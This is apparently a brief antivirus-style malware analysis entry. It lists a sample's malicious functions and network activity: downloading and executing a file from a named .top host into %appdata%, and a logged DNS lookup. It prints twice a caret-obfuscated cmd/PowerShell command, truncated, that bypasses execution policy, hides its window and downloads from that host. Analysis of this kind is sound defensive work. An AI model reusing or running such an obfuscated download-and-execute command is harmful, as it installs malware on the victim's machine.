Technical Information
Malicious functions
Downloads and executes
- http://cocalolo.top/search.php as %appdata%.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /C "P^OWErSH^el^l^.EXe -Ex^ECut^ionp^O^l^I^cy bY^P^A^s^S -^nOP^r^OFILE^ -WiNDowStyL^e HidDen^ ^(^new-ob^JeC^T^ S^Ys^tE^m.^N^ET^.W^EB^CL^IEnT^).Do^w^nLO^ADfilE('http://cocalol...
Network activity
UDP
- DNS ASK co###olo.top
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /C "P^OWErSH^el^l^.EXe -Ex^ECut^ionp^O^l^I^cy bY^P^A^s^S -^nOP^r^OFILE^ -WiNDowStyL^e HidDen^ ^(^new-ob^JeC^T^ S^Ys^tE^m.^N^ET^.W^EB^CL^IEnT^).Do^w^nLO^ADfilE('http://cocalol...' (with hidden window)
